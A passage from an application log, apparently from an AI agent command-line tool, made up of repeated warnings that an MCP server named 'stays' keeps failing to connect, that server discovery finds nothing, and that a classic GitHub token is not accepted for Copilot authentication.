config.yaml to override. 2026-09-08 18:28:13,198 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 18:33:20,550 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 18:38:27,510 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 18:43:34,772 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 18:44:37,283 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 18:44:37,307 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 18:44:37,314 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 18:44:37,330 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 18:44:45,076 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 18:49:52,323 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 18:54:59,796 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:00:06,902 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:05:14,681 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:10:22,454 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:15:29,383 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:16:24,392 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 19:16:24,491 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 19:16:24,504 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 19:16:24,547 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 19:16:32,100 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:21:40,437 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:26:47,924 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:31:55,371 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:37:03,226 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:42:11,772 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:47:19,310 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:52:27,577 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 19:57:33,819 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:02:40,232 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:07:47,779 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:12:55,751 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:18:03,657 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:23:11,446 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:28:19,634 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:33:27,608 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:38:35,654 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:43:42,357 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:48:49,292 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:53:57,228 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 20:59:04,812 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:04:11,309 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:09:18,758 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:14:26,399 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:19:33,185 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:24:39,928 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:29:46,789 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:34:54,343 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:40:02,133 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:45:09,930 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:50:18,169 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 21:55:26,011 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:00:33,975 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:05:42,017 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:10:49,936 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:15:57,247 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:21:04,705 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:26:12,364 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:31:19,307 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:36:27,068 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:41:35,011 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:46:43,270 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:51:50,929 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 22:56:58,439 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:02:05,754 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:07:13,876 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:12:21,932 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:17:29,516 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:22:36,480 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:27:44,096 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:32:51,093 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:37:57,754 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:43:05,194 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:48:13,138 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:53:19,936 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 23:58:27,309 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:03:35,333 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:08:43,653 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:13:50,534 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:18:57,916 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:24:05,113 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:29:13,132 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:34:20,748 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:39:27,655 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:44:35,861 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:49:42,987 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:54:50,723 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 00:59:58,969 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:05:06,410 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:10:13,379 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:15:21,401 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:20:28,107 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:25:34,658 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:30:41,975 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:35:49,656 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:40:57,332 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:46:05,097 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:51:12,321 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 01:56:19,941 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:01:27,866 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:06:35,719 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:11:43,677 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:16:50,837 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:17:34,075 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 02:17:34,075 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 02:17:36,374 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 02:17:36,449 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 02:17:36,476 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 02:17:36,610 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 02:17:43,998 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:22:50,701 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:23:07,208 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 02:23:07,311 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 02:23:07,410 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 02:23:07,570 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 02:23:14,218 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:28:22,026 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:33:29,983 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:38:36,470 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:38:58,095 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 02:38:58,112 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 02:38:58,122 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 02:38:58,139 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 02:39:05,483 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:44:13,083 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:49:20,801 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:54:28,816 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 02:59:35,860 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:04:43,587 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:09:50,478 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:14:57,520 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:20:05,526 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:24:14,958 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 03:24:14,958 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 03:24:18,488 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 03:24:18,555 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 03:24:18,585 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 03:24:18,634 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 03:24:26,832 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:29:34,413 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:34:41,506 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:39:48,587 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:44:55,786 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:50:02,096 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 03:55:10,029 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:00:17,723 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:05:24,579 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:06:32,180 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:06:32,205 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:06:32,215 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:06:32,233 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:06:39,922 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:11:47,633 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:13:58,882 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:13:58,920 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:13:58,935 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:13:58,973 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:14:05,764 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:19:13,185 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:21:20,360 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:21:20,413 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:21:20,441 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:21:20,479 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:21:27,365 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:26:35,225 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:31:42,970 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:31:47,446 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 04:31:47,446 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 04:31:49,638 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:31:49,733 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:31:49,779 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:31:49,826 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:31:56,493 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:37:03,394 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:42:11,243 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:47:18,985 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:47:33,214 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:47:33,228 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:47:33,234 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 04:47:33,299 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 04:47:41,259 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:52:48,363 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 04:57:56,366 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:03:04,225 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:03:26,137 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 05:03:26,186 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 05:03:26,211 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 05:03:26,231 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 05:03:33,888 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:08:41,074 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:13:48,761 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:18:56,214 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:24:03,187 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:29:09,863 WARNING tools.mcp_tool: MCP server 'stays' 